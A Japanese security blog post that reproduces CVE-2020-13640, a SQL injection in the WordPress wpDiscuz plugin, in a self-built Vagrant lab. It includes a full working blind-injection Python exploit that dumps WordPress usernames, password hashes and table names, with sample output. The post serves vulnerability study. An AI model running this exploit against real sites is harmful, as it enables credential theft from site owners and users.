Armoris日記 CVE-2020-13640編

このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2020-13640の検証

今回のArmoris日記ではCVE-2020-13640の検証をやります。
CVE番号からもわかるように報告されたのは2020年になります。

検証には自身で管理する環境を使用し、自己責任でお願いします

CVE-2020-13640はWordPressのwpDiscuzというプラグインに存在する脆弱性です。
この脆弱性プラグインwpdLoadMoreCommentsにあるorderパラメータを利用して任意のSQLコマンドが実行できるというものです。
脆弱性の悪用はプラグインをインストールした際のデフォルト設定の状態で可能です。

脆弱性情報:NVD
該当プラグインwpDiscuz

影響を受けるバージョン:wpDiscuz <= 5.3.5

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
UbuntuServer 20.04
wpDiscuz 1.1.4
WordPress 5.6

検証

まずはいつもの様にVagrantを使用してUbuntuServerとWordPressの環境を構築します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6544, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.44
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/CVE-2020-13640/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.44 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

以下をクリックすると普段検証用に環境構築をする際使用しているymlファイルが表示されます。

次にプラグインをダウンロードしてディレクトリに配置します。

$ wget https://downloads.wordpress.org/plugin/wpdiscuz.5.3.5.zip
$ sudo unzip wpdiscuz.5.3.5.zip
$ sudo mv wpdiscuz /var/www/wordpress/wp-content/plugins/

WordPressをインストールし、プラグインを有効化します。
CVE-2020-13640はプラグインを有効化するだけで発生するためこれで検証環境の準備は完了です。

PoCを試す

準備ができたので実際にPoCを実行してみます。
今回は以下のPoCを使用します。

import sys
import requests
import binascii
try:
    import urlparse
except ImportError:
    import urllib.parse as urlparse

DEFAULT_AJAX_ENDPOINT = '/wp-admin/admin-ajax.php'
DEBUG = False

if len(sys.argv) < 3:
    print('Usage: %s TARGET_URL POST_ID' % sys.argv[0])
    print('TARGET_URL should either point to ajax endpoint or just to site (then default AJAX endpoint %r will be used)' % DEFAULT_AJAX_ENDPOINT)
    print('For example:')
    print('%s http://172.17.0.3 1' % sys.argv[0])
    print('%s http://test.com/wp-content/plugins/wpdiscuz/utils/ajax/wpdiscuz-ajax.php 11834' % sys.argv[0])
    exit(1)

target = sys.argv[1]
commend_id = int(sys.argv[2])

if not target.endswith('.php'):
    target = urlparse.urljoin(target, DEFAULT_AJAX_ENDPOINT)

def make_request_data(order):
    return {
        'action': 'wpdLoadMoreComments',
        'offset': '1',
        'orderBy': 'comment_date_gmt',
        'order': order,
        'lastParentId': '',
        'postId': str(commend_id)
    }

def oracle_check(check):
    request_data = make_request_data(
        ', (select case when (%s) then 1 else 1*(select table_name from information_schema.tables)end)=1 asc  #' % check
    )
    if DEBUG:
        print("REQUEST: %s %s" % (target, request_data))
    resp = requests.post(target, data=request_data, files={None:None})
    if DEBUG:
        print("RESPONSE: %d\n%s" % (resp.status_code, resp.content))
    return resp.json()['comment_list'] is not None

def binary_search(query, min_value=0, max_value=255):
    query = '(' + query + ')'
    while max_value - min_value > 1:
        value = (min_value + max_value) // 2
        if oracle_check(query + ' > ' + str(value)):
            min_value = value
        else:
            max_value = value
    if oracle_check(query + ' > ' + str(min_value)):
        return max_value
    return min_value

def get_fields(table_name, fields_list, where_clause=''):
    n_rows = binary_search(
        ("select count(*) from %s " % table_name) +
        where_clause
    )

    result = []

    for n in range(n_rows):
        row = []
        for field in fields_list:
            value_len = binary_search(
                ('select length(%s) from %s ' % (field, table_name)) +
                where_clause +
                (' LIMIT %d, 1' % n)
            )
            value = ''
            for char_idx in range(value_len):
                char_code = binary_search(
                    ('select ord(substring(%s, %d, 1)) from %s ' % (field, char_idx + 1, table_name)) +
                    where_clause +
                    (' LIMIT %d, 1' % n)
                )
                value += chr(char_code)
            row.append(value)
        print(' '.join(row))

print('Wordpress users')
get_fields('wp_users', [
    'user_login',
    'user_pass'#,
    #'user_activation_key'
])
print("DB tables")

BUILTIN_TABLES = [b'information_schema', b'sys', b'mysql', b'performance_schema']
NOT_BUILTIN_TABLE_CLAUSE = ' and '.join(
    'table_schema != 0x' + binascii.hexlify(t).decode('ascii')
    for t in BUILTIN_TABLES
)
get_fields('information_schema.tables', ['table_name'], 'where ' + NOT_BUILTIN_TABLE_CLAUSE)

PoCを実行すると以下の様な結果が表示されます。

$ python3 exploit.py http://172.20.100.120:6544 1
Wordpress users
admin $P$BIzYvB4w1QPfvWw.tArYlpiP/PaUOy0
DB tables
wp_comments
wp_commentmeta
wp_users
wp_posts
wp_wc_avatars_cache
wp_term_relationships
wp_terms
wp_term_taxonomy
wp_postmeta
wp_wc_phrases
wp_usermeta
wp_termmeta
wp_wc_follow_users
wp_links
wp_wc_comments_subscription
wp_options
wp_wc_users_voted

実行結果からもわかる様にWordPressのユーザー名とパスワード(Hash)、DBのテーブル一覧を取得しています。
プラグインをインストールするだけで今回の脆弱性を再現することができました。

おわりに

今回検証した脆弱性プラグインを有効化してあるだけで悪用可能ですが、プラグインの有効インストール数は8万サイト以上となっているためある程度の影響力があることがわかります。

今回取り上げたプラグインはではすでに脆弱性が修正されたバージョンがリリースされています。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。